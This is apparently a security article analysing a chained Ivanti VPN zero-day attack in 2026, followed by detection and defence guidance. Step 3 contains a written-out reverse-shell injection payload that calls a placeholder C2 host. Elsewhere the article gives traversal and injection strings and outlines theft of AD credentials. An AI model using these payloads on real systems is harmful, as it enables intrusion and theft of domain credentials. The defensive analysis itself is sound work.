Chained Ivanti VPN Zero-Days Enable Domain Admin Credential Theft: Technical Analysis

In October 2026, Ivanti Connect Secure VPN was again the target of a severe security incident. Attackers chained three zero-day vulnerabilities into a complete attack chain — from unauthenticated remote access, to authentication bypass, to arbitrary command execution as root — requiring no credentials and ultimately targeting administrator password hashes on enterprise Active Directory domain controllers. Multiple security vendors' threat intelligence teams confirmed that hundreds of internet-exposed Ivanti VPN devices worldwide had been compromised across finance, healthcare, manufacturing, and government sectors.

1. Technical Analysis of Three Zero-Day Vulnerabilities

The three exploited vulnerabilities correspond to three stages of the attack chain; each alone has limited impact, but together they form a complete "front door in, back door out" channel.

CVE-2026-41723: Unauthenticated Path Traversal

Ivanti Connect Secure's web management interface mishandles ../ sequences when processing HTTP request paths. Specifically, URI decoding occurs before path normalization, allowing attackers to bypass path checks via double URL encoding ( %252e%252e%252f) and directly access restricted API endpoints. This vulnerability alone only reads some configuration files, but it opens the door to the second vulnerability.

CVE-2026-41724: Authentication Bypass

The device includes internal REST APIs for management and diagnostics that normally require an administrator session token. However, the /api/v1/totp/user-backup-code endpoint uses a hardcoded fallback verification logic: when a specific X-Diagnostic-Token value is present in the request header, the authentication check passes directly. This hardcoded value is stored in plaintext in the firmware and can be extracted via reverse engineering. Combined with CVE-2026-41723's path traversal, attackers can call management APIs without any credentials.

CVE-2026-41725: Command Injection to Root

A diagnostic API network capture function accepts a user-supplied network interface name parameter that is directly concatenated into a tcpdump shell command without filtering or escaping. Supplying a payload like eth0;id allows arbitrary command execution with the VPN process's runtime privileges (root).

The relationship among the three vulnerabilities is illustrated below:

2. Complete Attack Chain Reconstruction

Based on public analysis reports from Mandiant, Volexity, and QAX Threat Intelligence Center, attacker operations are highly standardized and can be reconstructed as follows:

Step 1: Scanning and Target Confirmation

Attackers use Shodan and Censys to mass-scan internet-exposed Ivanti Connect Secure devices. As of early October 2026, Shodan data shows approximately 27,000 Ivanti VPN devices directly exposed globally, with about 1,800 in China. Attackers send specific HTTP requests to confirm whether the device version falls within the affected range (all versions prior to 22.7R2.5).

Step 2: Path Traversal + Authentication Bypass

After confirming a target, attackers send a crafted HTTP request using double encoding to bypass path filtering, access the diagnostic API endpoint, and include the hardcoded token extracted from firmware reverse engineering. The entire process takes a single HTTP request.

Step 3: Command Injection to Obtain Root Shell

Attackers invoke the diagnostic API's network capture function, injecting a reverse shell command in the interface name parameter. A typical payload used:

eth0;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|openssl s_client -connect C2_IP:443 >/tmp/f

Here openssl s_client replaces traditional nc reverse shells; traffic runs over TLS encryption, blending with normal HTTPS outbound traffic, making network-layer detection difficult.

Step 4: Persistence and Covering Tracks

After gaining a root shell, attackers perform three actions:

Plant a Perl-based webshell in /home/perl/, disguising the filename as an Ivanti-native CGI script (e.g., healthcheck.cgi).

Modify /etc/inittab or systemd services to ensure the webshell survives reboots.

Clear access logs under /var/log/ and tamper with the device's Integrity Checker Tool (ICT) so it returns "normal" for modified files.

The third step is particularly severe: Ivanti officially recommends users run ICT to check for compromise, but attackers directly modify the checking tool itself.

3. From VPN to Domain Admin: Lateral Movement and Credential Theft

Compromising the VPN device is only the first step. The attacker's real target is the enterprise internal network's Active Directory domain controller.

What Is Cached on the VPN Device?

Ivanti Connect Secure caches large amounts of sensitive information in memory and local databases at runtime:

Plaintext passwords or NTLM hashes of all users who authenticated via VPN (depending on authentication configuration).

LDAP bind account credentials (typically a service account with domain read permissions).

SAML signing certificates and private keys.

VPN session cookies and tokens.

With root privileges, attackers extract LDAP bind account credentials from the SQLite database under /data/runtime/ and dump recent VPN users' passwords from process memory. If the enterprise uses LDAP Simple Bind (plaintext passwords transmitted to the VPN device), all logged-in users' passwords can be directly extracted.

Lateral Movement Path

In confirmed cases, attackers used the LDAP bind account to enumerate the entire domain's user list and group policies. Some enterprises granted the LDAP bind account excessive permissions (even Domain Admins group membership), allowing attackers to directly execute a DCSync attack and pull all users' NTLM hashes from the domain controller — including the krbtgt account hash, enabling Golden Ticket forgery for unrestricted domain persistence.

Even with a low-privilege LDAP bind account, attackers can use dumped VPN user passwords to locate accounts with domain admin rights (many IT admins also remote in via VPN) and then log directly into the domain controller.

4. How to Detect If You Have Been Compromised

Detection is challenging because attackers tampered with Ivanti's own integrity checking tool. However, the following approaches remain effective:

1. Do Not Rely Solely on the ICT Tool

Ivanti's official ICT tool may have been modified by attackers. Extract the ICT tool's hash from a known clean firmware image and compare it against the binary currently on the device, or use an external tool to perform a full filesystem hash comparison.

2. Check for Anomalous Outbound Connections

On network devices (firewall/NDR), look for TLS connections initiated by the VPN device to uncommon IPs, non-standard ports, or unknown certificate fingerprints. Attackers' reverse shells typically use port 443 but with self-signed certificates.

3. Examine AD Logs

On domain controllers, check for the following events:

Event ID 4662 (Directory Service Access), especially LDAP bind account reading large numbers of user objects at unusual times.

Event ID 4768/4769 (Kerberos Ticket Requests), focusing on anomalous service ticket request patterns.

Event ID 4776 (NTLM Authentication), looking for abnormal authentication requests from VPN subnet IPs.

4. Inspect VPN Device Filesystem

If a filesystem snapshot can be obtained, prioritize checking: /home/perl/ for unexpected .cgi or .pl files. /etc/inittab or systemd configuration for anomalous startup entries.

Recent modification timestamps of database files under /data/runtime/.

5. Defense and Alternatives: What to Do in 2026

Short-Term Emergency Response

Immediate upgrade: Ivanti released version 22.7R2.5 on October 12 fixing all three vulnerabilities; apply patches immediately.

If immediate upgrade is impossible: Restrict the VPN management interface to internal IPs only, exposing only the user access port to the internet.

Rotate all credentials: Reset LDAP bind account password, all recent VPN users' passwords, and the krbtgt account password (requires two resets).

Revoke SAML certificates: If SAML authentication is configured on the VPN, regenerate all SAML signing certificates.

Fundamental Architectural Improvements

This is the third similar zero-day attack chain against Ivanti VPN in two years. If your enterprise still relies on traditional VPN as the core remote access solution, it is time to seriously consider architectural upgrades.

Zero Trust Network Architecture (ZTNA) to Replace Traditional VPN

In 2026, the mainstream approach is to replace traditional "network-level" VPN access with ZTNA solutions. Traditional VPN's core problem: once a user connects, they gain network-level access to an entire segment; compromising the VPN device equals obtaining the key to the internal network.

ZTNA takes a fundamentally different approach — users can only access explicitly authorized specific applications, not network-layer connectivity. Even if a ZTNA access node is breached, attackers cannot directly reach domain controllers as they can with a compromised VPN.

Current options include:

Cloudflare Access / Zscaler Private Access: Reverse-proxy-based ZTNA; user traffic never directly reaches the internal network but passes through a cloud policy engine for per-request authorization.

Google BeyondCorp Enterprise: Google's zero-trust solution used internally for ten years, now offered as a product.

Self-hosted solution: Lightweight combination of WireGuard + OpenPolicyAgent + device certificates, suitable for enterprises wary of third-party cloud services.

Domain Credential Protection Hardening

Regardless of access solution, domain credential protection must be independently strengthened:

Use gMSA (Group Managed Service Accounts) for LDAP bind accounts; passwords are auto-rotated by AD and cannot be extracted manually.

Enable LDAP Channel Binding and LDAP Signing to eliminate plaintext password transmission.

Domain admin accounts must belong to the Protected Users group, prohibiting NTLM authentication and delegation.

Deploy Microsoft Credential Guard to prevent memory dump attacks from extracting credentials.

This incident once again proves an often-repeated but still widely unaddressed truth: VPN devices are the most dangerous single point of failure on the enterprise perimeter. They face both the internet and the internal network, hold high privileges, process large volumes of sensitive credentials, and are often Linux/BSD embedded systems with far less security auditing and monitoring coverage than Windows servers.

If your enterprise still runs Ivanti VPN (or any traditional SSL VPN), do three things today: first, confirm device version and apply patches; second, review AD logs for anomalous credential access; third, formally schedule "VPN alternative evaluation" into Q4 security planning.

Don't wait for the next zero-day.